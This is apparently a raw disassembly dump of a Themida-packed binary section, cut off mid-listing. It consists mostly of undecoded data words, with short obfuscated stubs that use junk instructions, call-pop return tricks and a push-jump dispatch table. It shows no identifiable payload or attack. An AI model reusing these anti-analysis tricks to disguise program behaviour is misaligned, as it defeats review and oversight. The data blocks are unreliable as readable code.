0A9E99F1Ch, 3EA713A6h, 0AAA65906h, 142513A6h dd 7D32C50h, 0D004D878h, 24000000h, 3B00DEB2h, 6B7D4607h dd 0B3309296h, 1442A0CCh, 556764Fh, 93708A9Ch, 0A0700784h dd 75DE1442h, 0B452E41Ch, 0EA85BDD9h, 0C7E3BED8h, 0CCE4C18Fh dd 0DAE9C694h, 42A0A65Dh, 72CB3414h, 0A4FDE9DEh, 0AA81442h dd 40DB132Fh, 87BFD7B4h, 0E3C0DAECh, 442137CBh, 721DF42Ch dd 0F56FEC3Ch, 0BB13A6B1h, 0F09FBE52h, 6E0C6EBEh, 6B647694h dd 14405360h, 375C52Eh, 0F8126113h, 2C0A1CE4h, 397B38Eh dd 0A2F612EDh, 623571BDh, 93B43A7Ah, 5200000Dh, 0AEC4587Ah dd 0B21B5D5h, 6B81152Fh, 0CEE4788Ch, 6A43D7F3h, 0D4F0CB84h dd 32502A40h, 94AA889Eh, 0F50DEA00h, 81FEAE61h, 13A8F3FAh dd 92841358h, 0C7FF17F4h, 25001A2Ch, 825F7509h, 4D05D66Ah dd 0BA1C6C42h, 13F2411Ch, 9B94A6FFh, 13A6A9D5h, 78EA3AA3h dd 5A2E3145h, 0DEA4B675h, 2669DA4Ch, 93F30FEAh, 9C28A202h dd 0D06BA3C3h, 0BD3AC5BEh, 809113A6h, 0F46798C4h, 0CE70D877h dd 90000000h, 860318F2h, 13A6B1F1h, 899BF45Dh, 5A7956B4h dd 0FC325585h, 0CF076062h, 0FAD72601h, 0B60FAAE2h, 0D9C5D17Eh dd 77541442h, 0D8B5CB5Fh, 0F9D270C0h, 0F406A1D9h, 7638572Eh dd 35AFA926h, 59F513A6h, 0BD0D667Ah, 3619DE5Bh, 4CB513A6h dd 96F9183Ah, 5AA13F11h, 0BE4AEF96h, 0F48FC7E3h, 0F2CE4B9Bh dd 801440BEh, 4E29C717h, 4B73FC2Bh, 0AD06AA70h, 0D9280319h dd 11ACE4FCh, 1E0564B8h, 6466235h, 0C8D80h, 5E805800h dd 0BBDBB4CAh, 1B351127h, 7E927187h, 0DDF9D4EAh, 0D18A7049h dd 3046DAF6h, 8EA43856h, 0F0069AB0h, 0B467FB13h, 0F5F08704h dd 195E13A8h, 5F7B568Ah, 0C9D8B5CBh, 42A0B74Ch, 5ABA2314h dd 4C8205D5h, 63F75083h, 61795692h, 667E5B29h, 0C6E0BCD2h dd 0CBE3C08Eh, 499F1037h, 3D5B3546h, 0C1116A05h, 0A68C9644h dd 0D2DB4413h, 2CBD35C7h, 763857E4h, 0E05FA926h, 9C05ECC8h dd 7560D264h, 46C02E54h, 0A8E70A1Ch, 0EBED920Fh, 0ED6A1310h dd 1310EB16h, 0A10A5BC4h, 1996F848h, 1310EB62h, 0EB8F74F1h dd 0E24B1310h, 38162891h, 0F75B67BBh, 7CCC3514h, 0D7B601DEh dd 0A81A6AC3h, 0B6A03157h, 0C2E4F606h, 63B7CFACh, 62C6CB10h dd 0BB890F4Fh, 2A00000Bh, 869C3052h, 0E3F98DADh, 4359ED07h dd 0A6BC5064h, 421BAFCBh, 0ACC8A3BCh, 0A280218h, 6C826076h dd 0CDE5C2D8h, 59D68639h, 13A8F5A2h, 565CEB30h, 52296179h dd 0A421713Dh, 13A68CEEh, 1C3210ACh, 5CF049E4h, 0EB0BE482h dd 0D5D9B6D9h, 0A8820885h, 67D01442h, 0F3F9822Fh, 3D4E1B8Ah dd 0BEAA5509h, 3F2BD093h, 54000000h, 1C6C424Dh, 0A6EF3B9Fh dd 9CE95913h, 485C3BC8h, 7528A5E8h, 0B9F10FE9h, 0D775C51Eh dd 103BDCF9h, 100A38ECh, 4F2E23B7h, 0C813A690h, 293FD3EBh dd 0A28024Bh, 0A6DE37D2h, 0B1520h, 424DAF00h, 0DC9F1C6Ch dd 7213A8F2h, 0F2EE9512h, 0D06C13A8h, 0AA5DDF1h, 6A0858B1h dd 7E1758Dh, 83996095h, 0E874256Eh, 1CB7EF0Fh, 0FB13F00Ah dd 0BA3ECC3h, 0E3323EBBh, 37A01442h, 216C49E7h, 41D52E42h dd 0F3880567h, 5F1B96C4h, 98D0E4C3h, 3E18A4FDh, 17F40E20h dd 9FF0C7FFh, 0BF5DBF0Fh, 5E3CC8E4h, 63751048h, 72D34C6Ah dd 5DB11A1Ch, 5A481B20h, 9B8D1353h, 4A00000Ah, 0A6BC5072h dd 319ADCDh, 63790D27h, 0C6DC7084h, 623BCFEBh, 0CCE8C39Ch dd 2A482238h, 8CA28096h, 0ED05E2F8h, 79F6A659h, 13A8F682h dd 927C0B50h, 0A0CCB330h, 0AC7B1442h, 0D7059BDDh, 6F81EA3Bh dd 42A48576h, 248A0514h, 3E5C36D4h, 7B596B06h, 0A8F5EAFEh dd 95076913h, 39282805h, 591E8920h, 0F513A895h, 329B7A8Ch dd 4F6744E2h, 0B0C8A5BBh, 0C0EEA178h, 0B93DF370h, 8AFC144Ch dd 24C618B9h, 4A24B0B4h, 0D23B1A2Ch, 31BB097Eh, 0B83E7E62h dd 0A06h, 51E507DFh, 0AE42623Bh, 0EA2BC98h, 710519F8h dd 0D064805Bh, 7D58F1F7h, 0DDB7CD61h, 37152BBFh, 9A778D21h dd 8B3BEE82h, 0A8F7690Eh, 11A0E513h, 29617956h, 5D412597h dd 52684A84h, 31492640h, 496443E1h, 32DA984Fh, 558DE6C7h dd 9EE2A8BAh, 6F9A5E1h, 0CFE05B6Ah, 494h, 15F492F8h, 1C2EC901h dd 0C81896F9h, 0A8F1134Bh, 858C113h, 0E1758D6Ah, 0CAA3EECBh dd 7ED772AAh, 0F2E69946h, 672813A8h, 0B47AF747h, 82144CDEh dd 18CCC519h, 8FCF6232h, 96D09h, 7EA07800h, 0DBFBD4EAh dd 3B553147h, 9EB291A7h, 0FD19F40Ah, 0F16A9069h, 5066FA16h dd 0AEC45876h, 1026BAD0h, 0D4871B33h, 0F8D0A724h, 397E13A8h dd 617956AAh, 667E5B29h, 792DEA2Eh, 9C63E042h, 3A1442A0h dd 1BE4BFD1h, 0BCE05C1Dh, 408h, 0A08477E5h, 89061442h dd 7E58D525h, 413A8F1h, 0D0AD4B9Bh, 0AC4A24B8h, 8DA7B9CDh dd 5F24A1B0h, 0FB13A8F2h, 3EC54292h, 9C13A8F2h, 10A2DA33h dd 93A45E9Eh, 3B4D8927h, 0E7377718h, 4C00A46Ah, 0B5097214h dd 6231DEE6h, 0CF0389C9h, 16000008h, 72881C3Eh, 0CFE57999h dd 2F45D9F3h, 92A83C50h, 2E079BB7h, 98B48FC8h, 0F614EE04h dd 586E4C62h, 0B9D1AEC4h, 45C27225h, 13A8F8BEh, 5648D71Ch dd 97296179h, 0FAF6B725h, 2BA8D4ABh, 14429154h, 2E409902h dd 0E71F3714h, 0FEBEE6A3h, 0E05BED01h, 363D6h, 8277FF00h dd 0C1442A0h, 5EDB2B83h, 13A8F17Fh, 80E6A214h, 73EF2D23h dd 0C9198261h, 192F4E2Bh, 7C038062h, 0DA13A88Eh, 23161171h dd 354BDF38h, 52F04058h, 8B265E74h, 0D40C20FFh, 8A612739h dd 0DC59A905h, 144C5706h, 8E176BD4h, 35623190h, 8246FF5h dd 0E9C10000h, 441D33C7h, 9E7A9024h, 0FBDAF084h, 623D53E7h dd 13D9B246h, 0AF435F3Ah, 0DA1BF99h, 6F0319F7h, 0D0647C59h dd 0BF06D1Dh, 0C713A8F9h, 0F492F382h, 0D0EAFC1Ah, 0D5A3DBF3h dd 6AA8E0F8h, 9D7AE5A1h, 0F5F7352h, 42A0ED92h, 0A7006914h dd 11C33C13h, 714E05Ch, 3D000000h, 2AF9Eh, 82772D00h, 0C1442A0h dd 79DB2B83h, 0AAE202DBh, 949E8B08h, 0D52E8606h, 0C2D8CAC3h dd 1D8613A8h, 3A522FCDh, 9BB390A6h, 0F26FD163h, 13A8240Dh dd 2B4E60C9h, 98FA4A64h, 0C90121FAh, 7D231C2Eh, 1B144C2Ah dd 5515EB2h, 46866232h, 775C0h, 76987000h, 0D3F3CCE2h dd 334D293Fh, 96AA899Fh, 0F511EC02h, 0E9628861h dd 485EF20Eh, 0A6BC506Eh, 81EB2C8h, 0CC7F132Bh, 0FAD89F1Ch dd 317613A8h, 1BF492A2h, 3821C3FBh, 23497398h, 0AAC4D62Fh dd 0D7D1AECDh, 2F4EE326h, 0F3D09ED6h, 0F4198BDBh, 0BAB01F54h dd 4503DE7h, 0F64F9447h, 0FE5229A6h, 97001442h, 0B881BF85h dd 8A5BCD8Ch, 0BCC33901h, 2C092335h, 7DBA01Dh, 0E771442h dd 1206BDAEh, 3E975073h, 0A62CD3AAh, 7A9E05Bh, 0D2000000h dd 1CB9Eh, 20922D00h, 27EB10B2h, 0F2EBFD85h, 1442B50Eh dd 57A70788h, 0C27DFFE5h, 8C9E471Ah, 0F6BE31AEh, 8BF413A8h dd 0A1C09D3Bh, 0F1D54E2h, 0A0F049A3h, 813AC13Eh, 0C18913A8h dd 3918CCE3h, 6AF65FB0h, 9F3A7290h, 78556B8Dh, 3E512860h dd 20BE2070h, 1D162846h, 144C5947h, 6158AC15h, 8A623192h dd 67CC44Ah, 91690000h, 0ECC5DB6Fh, 462238CCh, 0A382982Ch dd 0AE5FB8Fh, 7B815AEEh, 57EB07E2h, 0B5496741h, 17ABC19Fh dd 780C2401h, 0E39815C5h, 6F13A8FBh, 79569B2Ah, 7E5B2961h dd 27F02E66h, 0B23007Fh, 27DC59BBh, 781442A0h, 0B04B839Bh dd 0CAEAC35Fh, 8C9EF792h, 116C936Ah, 0E69E05Ch, 89000000h dd 0BDF50FEBh, 9E3B1022h, 0FCh, 0A083772Dh, 820D1442h dd 39B9F625h, 0A2FB8589h, 99D2D552h, 2FA113A8h, 41DA3F83h dd 4E3F581h, 6CE94B9Bh, 13A8F797h, 0EAC8DA43h, 7576F4Ch dd 29D30695h, 9FB1725Fh, 3F8A677Dh, 0D8B14263h, 0E08A842Eh dd 5BB44F87h, 19F39123h, 0C9C6E9FBh, 421895E5h, 10144C91h dd 4A7053A7h, 4F8F6232h, 5ADC9h, 3E603800h, 9BBB94AAh dd 0FB15F107h, 5E725167h, 0BDD9B4CAh, 0B1AA5029h, 1026BAD6h dd 6E841836h, 0D0E67A90h, 9447DBF3h, 0FB9067E4h, 0F93E13A8h dd 6179566Ah, 6F7E5B29h, 0A2DAF6D1h, 0A0E79C07h, 5E381442h dd 1C6D0840h, 0E4225AB3h, 17F46B1Bh, 13DAFFFh, 6F074A1h dd 0CDA4C6D8h, 0E05B5932h, 0CFEBC664h, 71EBDh, 9E470000h dd 28h, 7520922Dh, 0F699AE00h, 0ECC9E3F5h, 980A9CD4h, 26425819h dd 7E98AA15h, 0ED5189A1h, 6C493470h, 29F2C054h, 81000000h dd 11617956h, 193711AFh, 24DB46E1h, 0B21442A0h, 0A02ED552h dd 43AC1442h, 6512D8EAh, 1442A09Bh, 0EE51153Eh, 9465F911h dd 29617956h, 21713D52h, 0A8F2DBA4h, 0BE0E7713h, 9E2A4420h dd 0D26DA5C5h, 6744E2C0h, 8661FF4Fh, 2036586Ah, 1CF32B43h dd 89EB3B73h, 0A8F2770Ch, 0B1CDA813h, 7E5F760h, 3A7633A5h dd 53B3CDA9h, 16285582h, 4273ED1Dh, 760F7F14h, 68438DF5h dd 81E8D556h, 0CDA99221h, 121F918Ch, 0A7F750B8h, 9644552Ah dd 3F98011Bh, 5C7451EFh, 0C6D5B2C8h, 9644B249h, 0A884201Bh dd 0A4DC358Eh, 9CECC2CDh, 7253811Fh, 5932D01Ch, 0F26F0139h dd 3FA5C0Dh, 0F50760C9h, 7459AD16h, 9F5A479Bh, 44CD95Fh dd 0C1990000h, 1CF50B9Fh, 765268FCh, 0D3B2C85Ch, 3A152BBFh dd 4BB18A1Eh, 871B3712h, 0E5799771h, 47DBF1CFh, 0A83C5431h dd 33C845F5h, 9F13A8FDh, 7956CB5Ah, 55F3CD61h, 304A5C7Ch dd 35033B53h, 0CA084058h, 0FDDA4501h, 62BBD7B2h, 1108F7CEh dd 49CDE05Ch, 0F6000000h, 1C6C424Dh, 0A6EF3B9Fh, 7CF95913h dd 13A6F087h, 8176F353h, 4D13A6F0h, 21FF8BE4h, 0DF38D30Bh dd 0FD13F18Fh, 0F0897469h, 0D84A13A6h, 0EF309287h, 233D4F2Dh dd 849A2E46h, 0A24090A6h, 0DC77AFC3h, 0AF7E04CAh, 0D000003h dd 1C6C424Dh, 0A6861D9Fh, 92CA3313h, 7FCFE7C4h, 0B4EC04E1h dd 0DD410719h, 5F302460h, 3882FF4Fh, 171442A1h, 71839D79h dd 0BB952992h, 0F22A3E1Dh, 0D42D4924h, 0BEF09FC2h, 0C8CFF16Eh dd 1C851C6Eh, 73F052E4h, 3EED48Ch, 0BAD0AE4Ah, 7C8EE782h dd 5E388762h, 0E16D0840h, 5991EA06h, 9B9BCBA2h, 0ED6ABAF4h dd 40AF2D3h, 0EF07E482h, 0ACFC958Fh, 0B7C97871h, 0C5DB6FD8h dd 0E280D0E8h, 19B4EC06h, 96734107h, 0AE10EA7Eh, 0D2EC4A31h dd 0D4F4CD0Bh, 14B0019Ch, 48E31B3Bh, 0D5BADDEFh, 820C89D9h dd 0D00C36FFh, 9E791767h, 0FDAA7082h, 3336C002h, 649CBC95h dd 0C0AE55D2h, 0C32C3336h, 0A425A37h, 94004CBh, 0A7B874ADh dd 66BE17DDh, 926D1155h, 43B8E766h, 35h, 6C424D6Ch, 1767AA1Ch dd 5C73F4B4h, 39EF6C4Ah, 0F713A6BCh, 0C6A03E8Eh, 0C3A270A8h dd 83DC77AFh, 7DFEAB71h, 0CA13A6BEh, 2ED18DB9h, 0A7D877F3h dd 0F9h, 617956D0h, 31805B29h, 0AAE23B55h, 0AFE7FFDCh dd 9CEC04E1h, 0F3D225FEh, 0B34E86DFh, 7A57FA1h, 0EA04E029h dd 6EBE5991h, 42A00AF1h, 4D5FC814h, 42A44054h, 0E2FAD714h dd 0FF17F492h, 0D8B5CBEDh, 0DEB188C0h, 9E280D0h, 8A16B1E9h dd 0C45F97ABh, 4957D4B2h, 1713A6ABh, 50889C7Bh, 0B4BA41BEh dd 0AF1813A6h, 0FADFD56h, 50E21A32h, 0A6B42CD3h, 0E841AA13h dd 0FA95B4D6h, 0E8C664B4h, 65E2C0D2h, 14405ECDh, 0FB17F290h dd 371628C3h, 5E07ECEh, 643F55E9h, 3A153C15h, 9B6A5D68h dd 0F893CB24h, 0C58C4B9Fh, 5B9B6235h, 1F5D5h, 0F618F000h dd 53734C62h, 0B3CDA9BFh, 162A091Fh, 75916C82h, 69E208E1h dd 0C8DE728Eh, 263CD0EEh, 889E3248h, 4CFF93ABh, 0FF581F9Ch dd 0B1F613A8h, 5F7B5622h, 377FF1CBh, 571A2E50h, 154D6743h dd 0F50F217Ah, 0D7F1CD18h, 17AB049Fh, 6C424D46h, 8AA07E1Ch dd 571D9A78h, 2513A6A9h, 0EFCE6CBCh, 0F608A3DBh, 21009E30h dd 7902FB0Dh, 9A13A6A9h, 0A06EA6BCh, 0BD74ACC2h, 9AF2BEE6h dd 2C9EDD89h, 5823731h, 0A27D09FDh, 0A1B34E86h, 781139C6h dd 979ED8h, 56C70000h, 0D8605A79h, 1E3B040Dh, 0FBAA51CEh dd 0BF281442h, 85602E66h, 9D7B1969h, 0A2B44F87h, 0FFA72FDCh dd 0D5B21442h, 361329BDh, 800FE61Eh, 7361DE2Eh, 2113A6CEh dd 8A0524B8h, 5C57D424h, 23144029h, 5890A885h, 63CCABBDh dd 7E9A7513h, 0DDF9D4EAh, 35415889h, 1DA3E362h, 102h, 55E90BE3h dd 0B246663Fh, 12A6C09Ch, 75091DFCh, 0D468845Fh, 815CF5FBh dd 0E1BBD165h, 3B192FC3h, 9E7B9125h, 8F3FF286h, 0A8C06D12h dd 15A4E913h, 0CB5F7B56h, 2CC0D8B5h, 6A79565Bh, 42A016EDh dd 25BC414h, 1F3714B2h, 743A4CE7h, 1DB1C9A6h, 0CD1D91FEh dd 0F78C096Bh, 631442A0h, 7AD3E9C7h, 0E8FA10EEh, 0A8F187EFh dd 0D2B14D13h, 5FEB86BEh, 97326A82h, 5B38063Eh, 0E41C3210h dd 0C9223816h, 0F47613Dh, 71871B74h, 0BA2C7C94h, 1FB02A43h dd 7E1F7F5Dh, 8375B518h, 5A07CDDFh, 19FC16CDh, 2E66845Eh dd 346C8260h, 39792DF6h, 0E0BB5917h, 65F18CC4h, 9B366E8Ah dd 0C5B8EC89h, 71C49DE8h, 0CB247D93h, 2C442137h, 6FD7ADCh dd 99067D99h, 0EA53A4BCh, 654412D8h, 8B621951h, 6F8764DBh dd 37A1AD1Fh, 74D4EAC8h, 1F31CD49h, 0F20AE7FDh, 0C34BAh dd 8DC30000h, 61ACC335h, 2253CC2Bh, 7E563B10h, 7956245Ch dd 7D5B2961h, 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh dd 94703E76h, 9B74427Ah, 68EE437Bh, 7C49h ; --------------------------------------------------------------------------- mov [esp], ebp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi push edx push 0C0F578Eh pop edx or edx, 4D0E6DDBh sub edx, 7C511715h add edx, 372BE9F9h push edx pop edi pop edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi push edx mov edx, 8 add edx, esi mov [edx], edi mov edx, [esp] add esp, 4 push dword ptr [esp] pop esi add esp, 4 push dword ptr [esp] pop edi add esp, 4 jmp loc_58A287 ; --------------------------------------------------------------------------- dd 3FDCC686h, 0B8EF3D06h, 7EA61B4h, 0E0FFC503h, 2D9D6C5Dh dd 7D36E5Eh, 2D188211h, 5241AA66h, 2342982h, 5B5DD9A6h dd 69FFEF84h, 3D0C084Dh, 3EBCDCDCh, 7C7CA1ECh, 4610B6CBh dd 1C2ABA00h, 45321E27h, 40BBBBF5h, 505C857Dh, 4021E575h dd 4E8392EAh, 7EA14CFBh, 62F76F25h, 52B71F9h, 1C1D21A5h ; --------------------------------------------------------------------------- loc_5E8724: ; DATA XREF: Themida_:00584110o lea ecx, [ebp+7EA6344h] push 0 push ebx call sub_5E8735 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E8735 proc near ; CODE XREF: Themida_:005E872Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5E8735 endp ; --------------------------------------------------------------------------- xchg eax, edi xchg ecx, [ebx-1BFBAA43h] pop es mov [ebp+7E41B71h], ecx sbb dl, 0Bh mov dword ptr [ebp+7E42DA1h], 6FE0h push 0 push edi call sub_5E876B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E876B proc near ; CODE XREF: Themida_:005E8763p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5E876B endp ; --------------------------------------------------------------------------- clc sub ecx, [ecx-1BE3BA6Bh] pop es mov dword ptr [ebp+7E422B9h], 0 or [ebp+7E41C85h], eax xor [ebp+7E41B1Dh], eax push dword ptr [ebp+7E406A5h] cld call dword ptr [ebp+7E43061h] push 0 push ebp call sub_5E87B1 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E87B1 proc near ; CODE XREF: Themida_:005E87A9p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5E87B1 endp ; --------------------------------------------------------------------------- fadd dword ptr [ebp+3DF8319Dh] popa push 0 call dword ptr [ebp+7E40E41h] mov eax, eax jmp short loc_5E8811 ; --------------------------------------------------------------------------- dd 0E82D3F89h, 9F7580E0h, 0A3636582h, 1309F69Eh, 0FF5BAE04h dd 19828B35h, 7E2B44ADh, 351AD7C3h, 0D42E3438h, 32BF8A0Ah dd 162904E4h, 0EDE97309h, 0DCA483ACh, 0EF5BFE15h, 9585A06Bh db 0BEh ; --------------------------------------------------------------------------- loc_5E8811: ; CODE XREF: Themida_:005E87D2j jmp loc_5E8994 ; --------------------------------------------------------------------------- cmpsd mov edx, 2C2717E7h aad 1Ah rcr dword ptr [eax-2E28B94Fh], cl retf 0EFB4h ; --------------------------------------------------------------------------- db 41h dd 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h, 0E495BCD7h dd 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h dd 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h dd 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch dd 0ACE5h, 1, 42h dup(0) dd 97000000h, 33A26D84h, 0EE69F0h ; --------------------------------------------------------------------------- loc_5E8994: ; CODE XREF: Themida_:loc_5E8811j jmp loc_5E9A29 ; --------------------------------------------------------------------------- push 7EA6710h jmp loc_598345 ; --------------------------------------------------------------------------- push 7EA6823h jmp loc_598345 ; --------------------------------------------------------------------------- push 7EA69E9h jmp loc_598345 ; --------------------------------------------------------------------------- push 7EA6AADh jmp loc_598345 ; --------------------------------------------------------------------------- push 7EA6BCDh jmp loc_598345 ; --------------------------------------------------------------------------- push 7EA6C90h jmp loc_598345 ; --------------------------------------------------------------------------- push 7EA6D66h jmp loc_598345 ; --------------------------------------------------------------------------- push 7EA6DE9h jmp loc_598345 ; --------------------------------------------------------------------------- push 7EA6EF6h jmp loc_598345 ; --------------------------------------------------------------------------- push 7EA6F73h jmp loc_598345 ; --------------------------------------------------------------------------- push 7EA7051h jmp loc_598345 ; --------------------------------------------------------------------------- push 7EA7106h jmp loc_598345 ; --------------------------------------------------------------------------- push 7EA71C4h jmp loc_598345 ; --------------------------------------------------------------------------- push 7EA72E2h jmp loc_598345 ; --------------------------------------------------------------------------- push 7EA73E1h jmp loc_598345 ; --------------------------------------------------------------------------- db 7Dh dd 33487BDDh, 0E8FD3026h, 98ADE06Ch, 4C6194C0h, 0DC104307h dd 65E56EFFh, 183A1D32h, 0CA86D0E5h, 7BD38297h, 9679E348h dd 23FFF366h, 0D9AEAF63h, 9B8ED27Ch, 0ED61F4BAh, 476971A4h dd 3B1A014Bh, 8568E213h, 23F9A342h, 0B29EB865h, 2362569h dd 6A23F9A2h, 3B6B4E96h, 4023F9A2h, 86C90233h, 5E8C82DAh dd 66A95Ah, 65AD0000h, 0F9AA5282h, 194A5723h, 0C8C0E69Ah dd 54F367Eh, 1BBDB57Ch, 559E037Dh, 81D5BE11h, 8A899ECFh dd 2523FA42h, 72E7CE18h, 1C4DA0E4h, 3185B9A8h, 4D0823FAh dd 185CF661h, 45387CC5h, 2C5C3F12h, 3123FA32h, 0A497DB24h dd 7D249EB2h, 0A1D1B4D2h, 9E23FA31h, 0B1444891h, 0EAC29Eh dd 0ED915A5Eh, 90000000h, 0EED17CD9h, 1C158EBEh, 2165AEBBh dd 0DB25252Eh, 0DBEF63F4h, 0D1798D93h, 5DD10224h, 51342209h dd 0A12D0A27h, 0E529727Ch, 0A6B0A992h, 0C5DE0F62h, 267ABE90h dd 0F73B193Fh, 0B4FD5104h, 92C389CBh, 3F72DC79h, 15EACC2Eh dd 48064F1Ch, 0F9550015h, 0B1B9CFB5h, 0F6C98467h, 0D1DE23F9h dd 2C5C3F87h, 3123F9D6h, 8890F324h, 0D8206A66h, 6E964F1h dd 23F9D5D6h, 4C7DC6D3h, 0E0BFF337h, 61ABB82Bh, 2771D97Ah dd 0BE9A1640h, 0B91C4D96h, 0A99BAFA4h, 0C2A744F4h, 0E77F7CA0h dd 0E900000Dh, 9FB4E771h, 54699CBAh, 4194C00h, 0B8CD0054h dd 487CAF9Bh, 0D179DA63h, 84CE899Eh, 361A3C51h, 0E767EE03h dd 2E54FB4h, 23FFF5D2h, 0D92223D7h, 2925307Ah, 0A4AF96E0h dd 6F4462A6h, 0D3F965E0h, 0BD20519Ah, 6EA1ADA8h, 0A4411F8h dd 0C34273C6h, 1D4D3078h, 221C158Fh, 0B6D8E415h, 412870BAh dd 0A1F43812h, 985C5B70h, 4A5C23F9h, 371C7C36h, 0DD5468C8h dd 44FFB3ABh, 0CBD86FA0h, 0FD649887h, 39CC23F9h, 0CC124A16h dd 0CF195A5Eh, 1D000000h, 0ED312136h, 0D9EA699Ah, 9B8ED27Ch dd 5F4E92B8h, 1C1593FDh, 8FD975E0h, 93346447h, 2B391C15h dd 15931848h, 0BF08151Ch, 3F162B8Eh, 34775E44h, 0A0E94D28h dd 0E6F6085Ch, 0DA0A6C13h, 0F80E1A4Bh, 165EA6F0h, 16820333h dd 0B1FB081Ch, 16819ECEh, 5D8E9B1Ch, 0FA968D48h, 0E2152223h dd 7FD1856Ch, 0ABB7E83Bh, 60438D85h, 2BE15D0Bh, 260D5764h dd 0D5EA1D2Dh, 0B9DACC7Eh, 0DBC2A7F1h, 0CD4BAB7h, 5EFC0000h dd 0A7B2C7FAh, 0ED677CAFh, 41172C5Fh, 88CBE013h, 705B8FC2h dd 0B1E466EDh, 6497BB9Ch, 1649074Fh, 0C7FA5401h, 0E515F862h dd 0EA23FFF6h, 91783536h, 0F3468AC4h, 0A0AAA9C2h, 67E56F56h dd 6EE7D023h, 18499CE0h, 99B5A0B5h, 7CD9EB66h, 5D4088D2h dd 1C158F2Dh, 11412432h, 0E1C158Fh, 87CFB801h, 13285C9h dd 93BB9A8Dh, 0EE1E0149h, 0EB1C158Eh, 424AADDEh, 0F7DA242Ch dd 23F9AED8h, 9382C6D3h, 23F9AE5Fh, 6D1B34C7h, 3F83D386h dd 4B23BBECh, 0F05A5E83h, 64h, 0C8C0E6EFh, 0BA649B7Eh dd 394723F9h, 0F9BA2656h, 0CD162323h, 0B9669A89h, 6AE923F9h dd 0ACA99CE0h, 33DA5EA2h, 0D86B6F1Ch, 0B4B3EB77h, 31B85A5Eh dd 0B7000000h, 7EC8C0E6h, 0F9948C9Bh, 75E28F23h, 615094DDh dd 23F9952Dh, 214D0295h, 5A5EA549h, 15EEh, 7E0F200h, 0A90E0DCEh dd 66AAA8AFh, 1A99CA13h, 8CECFh, 0C0E6D400h, 6C9C7FC7h dd 711C158Eh, 8F4F7F64h, 3F4C1C15h, 0F79AACF6h, 7FCB889Eh dd 62D4E83Bh, 88023303h, 9C71A5h, 1F697624h, 4D301D38h dd 24005B1Dh, 2011522h, 24D5882Fh, 8C73BD06h, 0EE4185C9h dd 10455ABDh, 1E2A5A3Dh, 222F2400h, 7E7D8FD9h, 3E19D43Fh dd 5D8D70BAh, 62240025h, 5CB02455h, 3C6DDF75h, 0C8121E30h dd 0EA8940E5h, 0D8222F2Bh, 0A0EA64F1h, 0B83858Eh, 3680A55Fh dd 159B2353h, 0EA1B281Ch, 6BE37287h, 0DE6A0F21h, 0C3074D0Bh dd 0A40B5C70h, 41279BCCh, 7DD3832Fh, 0BBA2EA34h, 1D71B59Bh dd 161A0A3Ah, 0B9020F1Ch, 321C7388h, 828F23FAh, 0C5571990h dd 4A476BBAh, 0B0Eh, 8DC098C2h, 4275E178h, 0F225272Dh dd 0A6D97BDDh, 5588C291h, 0A0B3BA21h, 0F56277AAh, 41152A5Dh dd 8EC7DC0Fh, 0BE288DC0h, 0FFF7ABDBh, 0FBFCB023h, 158FA9DDh dd 1B17391Ch, 0F3AAEED1h, 0C40C23FFh, 0FFF0B1E1h, 0BDA0AE23h dd 23FFF08Dh, 0B3C8592h, 2C346774h, 0DDC40E1Ah, 67EED779h dd 1F50A3E7h, 5486C2A5h, 0E1B2BEAh, 0D678DDC4h, 86A17A8Ch dd 78DCC727h, 0DB2E72DEh, 0E9FE6192h, 0B89EE26Ch, 3E509A96h dd 39B449DEh, 2FA9DA27h, 0AF4Ch, 59A3B024h, 8ECBE372h dd 0E83184C8h, 99B5A0B5h, 0FC346655h, 0A2C4A3FFh, 4A795CA6h dd 45ABE41Fh, 0DE6C686Dh, 0BE07D856h, 9B7E73CCh, 0B8B5D942h dd 0A4Ah, 5184D486h, 6391D3Ch, 0B6E963F1h, 6A9DB7A1h, 194CFE55h dd 0DC77C6E5h, 31263B6Eh, 7DD9EE21h, 0CA8BA0D3h, 82EC5184h dd 0FFF86F9Fh, 0B7B86C23h, 7EC8C0E6h, 0FFF2579Bh, 0C98F3C23h dd 43224DC0h, 549D7EFCh, 7CDAC10Bh, 0C3D90D4h, 2D384A92h dd 0E597239Eh, 6B9B7EC8h, 7024005Ah, 3C193263h, 8BCADF12h dd 77997FC3h, 164E317Bh, 932BEABFh, 0FF553C86h, 85B6094Dh dd 1D31240Bh, 0CE80D5EAh, 8682A48Ah, 0A1E4593Ch, 0BDCB2400h dd 5AAADAh, 59A2AF24h, 212D280Fh, 0D27CD9EEh, 98B3A188h dd 5A85B5h, 347D8A24h, 6CA08F03h, 0FC24005Ah, 4C94DEEAh dd 5B3969h, 0B0A4B424h, 910B3C49h, 0EABE2EAEh, 94DEEB2Bh dd 73A6A8ADh, 1357F75Eh, 0D3441B2Dh, 183BB910h, 7FAF92DCh dd 7C1C15BFh, 0F9DC266Fh, 240023BDh, 411345F2h, 96C6A9FDh dd 9323FFE0h, 0B0F43D86h, 62ACA4CAh, 0E3E3447Fh, 0D472842Bh dd 0D2353AD0h, 101EB5E6h, 2407FD2Dh, 0ACF5021Ch, 9B777BBAh dd 0C4C1E5C2h, 92Ah, 71A4B4A6h, 2659FD5Ch, 0D6094311h dd 8ABD97C1h, 396CDE75h, 0BC97A605h, 11465B8Eh, 5DF90E41h dd 0AAABC0F3h, 0A20C71A4h, 0FFF98FBFh, 0D7D88C23h, 8ED27CD9h dd 4A94BA9Bh, 0C107CB38h, 1945C14Fh, 